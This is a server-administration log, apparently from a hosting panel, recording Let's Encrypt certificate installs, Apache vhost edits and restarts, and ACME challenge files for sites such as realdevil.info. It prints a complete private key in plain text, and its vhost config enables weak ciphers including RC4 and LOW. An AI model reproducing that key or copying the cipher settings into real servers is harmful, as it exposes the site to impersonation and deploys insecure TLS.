AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-03 06:00:22: 

chmod 755 /tmp/pkp863027; /tmp/pkp863027; rm /tmp/pkp863027

2026-02-03 06:00:22: 


dir=/etc/ssl/certs


2026-02-03 06:00:22: 

PUT: /tmp/pkp803057

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/realdevil_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-03 06:00:22: 

chmod 755 /tmp/pkp803057; /tmp/pkp803057; rm /tmp/pkp803057

2026-02-03 06:00:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realdevil_www_info.conf 42

<VirtualHost *:80>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-03 06:00:22: 

PUT: /tmp/pkp106083

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=realdevil_www_info.conf
TARGET=/etc/apache2/sites-enabled/realdevil_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/realdevil_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/realdevil_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/realdevil_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/realdevil_www_info.conf= 1'
fi


2026-02-03 06:00:22: 

chmod 755 /tmp/pkp106083; /tmp/pkp106083; rm /tmp/pkp106083

2026-02-03 06:00:22: 




2026-02-03 06:00:22: 

PUT: /tmp/pkp139182

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-03 06:00:22: 

chmod 755 /tmp/pkp139182; /tmp/pkp139182; rm /tmp/pkp139182

2026-02-03 06:00:22: 


.


2026-02-03 06:00:22: Establishing a connection
2026-02-03 06:00:22: 

PUT: /tmp/pkp648227

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-03 06:00:22: 

chmod 755 /tmp/pkp648227; /tmp/pkp648227; rm /tmp/pkp648227

2026-02-03 06:00:22: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-02-03 06:00:22: 

PUT: /tmp/pkp699726

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/realdevil_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-03 06:00:22: 

chmod 755 /tmp/pkp699726; /tmp/pkp699726; rm /tmp/pkp699726

2026-02-03 06:00:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/realdevil_www_info.conf	1381

<VirtualHost *:80>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_error.log
    SetEnv pkp_uid	41
    SetEnv pkp_owner	carelinks
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	realdevil.info
    ServerAlias	www.realdevil.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/realdevil_www
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem
    <Directory /var/www/realdevil_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/realdevil/www_secure_access.log combined
    ErrorLog	/var/log/apache2/realdevil/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-03 06:00:22: 

PUT: /tmp/pkp513179

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-03 06:00:22: 

chmod 755 /tmp/pkp513179; /tmp/pkp513179; rm /tmp/pkp513179

2026-02-03 06:00:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2a6ddbe9e3dc02179c0a0d6b1925eaef.pem	5372
06:60:c3:70:ef:b7:fb:68:ef:73:3b:3f:78:fd:55:a5

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBlJBWect7Jf8/MKh5zaVBZbaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjAzMDUwMTUwWhcNMjYwNTA0MDUwMTQ5WjAZMRcwFQYDVQQD
Ew5yZWFsZGV2aWwuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMW8e6OBTyY+JVTwMGVPyqvvvtIf3oQJNj6ZzetvCKGBppC5bsklb8DdJDtJ729V
mINnlig7bqen0O9se+D9FiQ+zz1d8m5sTXXw08GAPVX3C2odTYTq8+0QecRUzG56
21Y+libClwZUTUjBf4XXgqjo8y68rORAS5colAb/DAvcKuTma4qb/DTVYOmkEIGO
EtIi6ZzpPeoHhldsby0oLuH/HeanPNDiw7PeykjeyhaKEmji7fVlhcnwMm9F78hz
lyhXC0h93zEuigPpI3yuM0TQ4ssW+qneH6mPa5rjlBF7msbKz5Hj/RXurp+JHLz4
+vNH6fMnNGz5R0r9c0PB1fUCAwEAAaOCAjEwggItMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU+dRXLN3nDy6s9ky9x1SleVtZT9QwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5yZWFsZGV2aWwuaW5mb4ISd3d3
LnJlYWxkZXZpbC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvOTEuY3JsMIIBAwYKKwYBBAHW
eQIEAgSB9ASB8QDvAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAA
AAGcIhZsrAAABAMARjBEAiBwFK6xyN++NXAEXxdJ3V5hNAcZykPuw9vp3Tpzhuaw
DAIgN35dpQNT07LatdOGI8B7cu96z7NJvsZYyfBDwNMiPr4AdgCWl2S/VViXrfdD
h2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZwiFmz/AAAEAwBHMEUCIAjda14pNjxc
CoI07pRt6MTSuJoIJv+JuZ+HFJdO6e7qAiEAhEy5YGSe0t2w5xFU/jFWeW6QoyIf
0QKE0cVFP3zsmN8wDQYJKoZIhvcNAQELBQADggEBAAw47DkLPOc3rDdOvkGYqI7I
dxkAlQ1nfFuNHKRurc4umEq8tNicjej04Na0zxQSd10STYR88HjVYtOYLs91sSOn
4MIEuW/x6wXwZu/XQe0JbY9W9ZdeGVPNkFxJ8K5bQek0JutEH7AlRAHUixb70H1Z
/KMe4/D0+PBRo1mhW2T+gHaaTpzD9IXrNLVO1OUhCIWc+saYUvYw8KEupjb3IkS9
+M69D1iYhWP+XY2KMh37mQAM4T1UcD8aAe4+mOB73z5swdJuYZxXUi94Uc4sFg6U
OvvN5KXYDwvNy64SsXDl/SQNMInFWkivER2ws1QcF2+rn2GW+LtXfqSgGaLISaU=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDFvHujgU8mPiVU
8DBlT8qr777SH96ECTY+mc3rbwihgaaQuW7JJW/A3SQ7Se9vVZiDZ5YoO26np9Dv
bHvg/RYkPs89XfJubE118NPBgD1V9wtqHU2E6vPtEHnEVMxuettWPpYmwpcGVE1I
wX+F14Ko6PMuvKzkQEuXKJQG/wwL3Crk5muKm/w01WDppBCBjhLSIumc6T3qB4ZX
bG8tKC7h/x3mpzzQ4sOz3spI3soWihJo4u31ZYXJ8DJvRe/Ic5coVwtIfd8xLooD
6SN8rjNE0OLLFvqp3h+pj2ua45QRe5rGys+R4/0V7q6fiRy8+PrzR+nzJzRs+UdK
/XNDwdX1AgMBAAECggEABL9zOv3EQCWoae3ADJ+YIJnAmENbTQpssfTid2MA2cWx
rgC08si0DrxLRSQP8ceyUIMyZGsFy8Zvf9Ebos9LjxXLON6bVlIzvUafH+nPTzdj
ZvFDg0vMt7RxLkV8FurMm1XrfWHD+AP+EfTD59RPLFiMBdT88KbEkP3e1AqfKAl7
SGW8S9oTsjBoMx5zV2oFeOD7scLkWwgvxXoCx0HJzH7neSVeLbH0CJNc712vQx3Z
G9I3fC2abxEfQ4PG/C89S4kA7LDxqtSvJ8bXC9tSUgu6qokbYGvS51sm2i05l8OW
+wVaY7ZK/fyUMn1VEr56rSzFyy/d8mLPZTCC8i+JQQKBgQD6KtbJ2wAitDFG5Ah1
huDEq9h2JNtKMlxNQhged8ttswtNo42HnOErgqsVVytJ2jbz/6U4sXEEpeD7eFZF
KHJcZcSC8Df6f5vq+/5eMfZKYEPgs+L/Mf495DkANZHSCj9R/Ks79z8w6O0Thexw
km4fZli0wHKUDMbwW3+uPT5A1QKBgQDKWLOFe31NdhqkuR9QGDw9q+pIzBNIka87
TqW2+8jEZBACCPVACv9oAZRrkqy83hFpkf6VFuCjjotliHDIYAinK7m+66GPqkIR
dS/JQS/QhVriplQuRBmCX4QZfqGSzDcOh+3o1uWvF2Td7LBGUGl1DZtiysUk5z6/
hdNfhjbQoQKBgHLZDeh3oRVNkj3QXE3QUQoZNnPusbnbauKREE+UgZDoHK1VA5mZ
nQoDoBVZAmeSRZ445Bol5BPVL3djJH/1dKMUmWXfcGORB/yWGY4W89HrZd4X14N+
6RBy4PRGo55A1BcIn3gVJy6GEKjg185Ke0HxE5JPs4piX0ZjSzerqBPNAoGAO+zz
FbgRzuwITfppVJ4o0Rbl5rNRjq9elxDesQd2WPtNZlzizRm0tEerfgRNVg3qWDqd
i+fflXC0xdgXlrAiP+gKNYmxKkwBDwyGn3LHx1iHJxKdYapXZ64EAEzpawFB2PLW
uZtTIHysKbFcLybHZJwoBaUJp7k4cx4eEG8+MqECgYAD3J4GgEFkcEBPnbDk8xR+
S3VkJ0JbSn0BqlfNbQqQ54N4RWkItzr6xI484VNj1GC7xOxmny9Sf7MZLqZHIxgW
nRTj+CEgFvkiPJ1b9QijhA4CkyVRNGSGiNf3BK60qgDxtJKmE+vqY9lEF0WxMTLr
CaFXY+PJjfoETD2/cVEnWg==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-03 06:00:23: Establishing a connection
2026-02-03 06:00:23: Establishing a connection
2026-02-03 06:00:23: 

PUT: /tmp/pkp955288

#!/bin/bash
if [ -d "/var/www/vards_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-03 06:00:24: 

chmod 755 /tmp/pkp955288; /tmp/pkp955288; rm /tmp/pkp955288

2026-02-03 06:00:24: 


1


2026-02-03 06:00:24: Establishing a connection
2026-02-03 06:00:24: 

PUT: /tmp/pkp700032

#!/bin/bash
mkdir -p "/var/www/vards_www/.well-known/acme-challenge/"
cd "/var/www/vards_www/.well-known/acme-challenge/"
cat > vHl_8YE5zLEG10tgK0msXMtiTzC7gQpl_9Dsv2zoyFE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
vHl_8YE5zLEG10tgK0msXMtiTzC7gQpl_9Dsv2zoyFE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 vHl_8YE5zLEG10tgK0msXMtiTzC7gQpl_9Dsv2zoyFE
cat > r29_yySKQqDoGFgezxCasg5z3ZyWLyRBCExmdCPSMy0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
r29_yySKQqDoGFgezxCasg5z3ZyWLyRBCExmdCPSMy0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 r29_yySKQqDoGFgezxCasg5z3ZyWLyRBCExmdCPSMy0


2026-02-03 06:00:24: 

chmod 755 /tmp/pkp700032; /tmp/pkp700032; rm /tmp/pkp700032

2026-02-03 06:00:24: 




2026-02-03 06:00:35: Establishing a connection
2026-02-03 06:00:36: 

PUT: /tmp/pkp663585

#!/bin/bash
mkdir -p "/var/www/vards_www/.well-known/acme-challenge/"
cd "/var/www/vards_www/.well-known/acme-challenge/"
rm vHl_8YE5zLEG10tgK0msXMtiTzC7gQpl_9Dsv2zoyFE
rm r29_yySKQqDoGFgezxCasg5z3ZyWLyRBCExmdCPSMy0


2026-02-03 06:00:36: 

chmod 755 /tmp/pkp663585; /tmp/pkp663585; rm /tmp/pkp663585

2026-02-03 06:00:36: 




2026-02-03 06:00:36: Establishing a connection
2026-02-03 06:00:36: 

PUT: /tmp/pkp212922

#!/bin/bash
temp_file=$(mktemp)
TARGET=5c147bca0a238ba09c5472db1d5debd9.crt

cat > $temp_file <<'endmsg'
01:92:fc:05:a3:5c:fe:75:11:df:34:c3:76:53:58:f6

-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBhLwIcDTDUXu3tC7BqWSih10MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjAzMDUwMjA0WhcNMjYwNTA0MDUwMjAzWjAVMRMwEQYDVQQD
Ewp2YXJkcy5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyw3V
RuitztiWXw83MSs6vS1BhoULOaPkNZRcsntts076tbMKf2KI8G21tf+HhBW33XIC
RLcPnM4DhorsnVFopu9GOwzj3pqz0HjnmTgQXK5126azZ+eAI1i1JNYfCTo8DNQC
5S9WDtuxgX3+Tmx2ehVSoXWaZScA7XHXDsdtm1mIhTOAQgs9x9i3Ei9aLFxsmB1K
NGDcRvlBx5xMLGstTYD5RXNNF/C3PnWkErjmDvCXJ0NEz3ig/Dv4s57CsqpuStoz
mWebtn9g3HwA32nV2Vla92fTeyVyXudDFcQTjKljYdy+uO3Y0Xyj3jn4ov6d5Ytf
P/MTyhh+N9zusog+DQIDAQABo4ICMjCCAi4wDgYDVR0PAQH/BAQDAgWgMB0GA1Ud
JQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
BBSwvaGbiWQXCzlTGhYdhgut9wx1LzAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14
Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIu
aS5sZW5jci5vcmcvMCUGA1UdEQQeMByCCnZhcmRzLmluZm+CDnd3dy52YXJkcy5p
bmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6
Ly9yMTIuYy5sZW5jci5vcmcvMTE3LmNybDCCAQsGCisGAQQB1nkCBAIEgfwEgfkA
9wB2AJaXZL9VWJet90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABnCIWpScAAAQD
AEcwRQIgFSb/LdDQ9Qjx4/oVjJJCDbb4y4ZtWNFqu6oEcyvlHxQCIQDObMci97zY
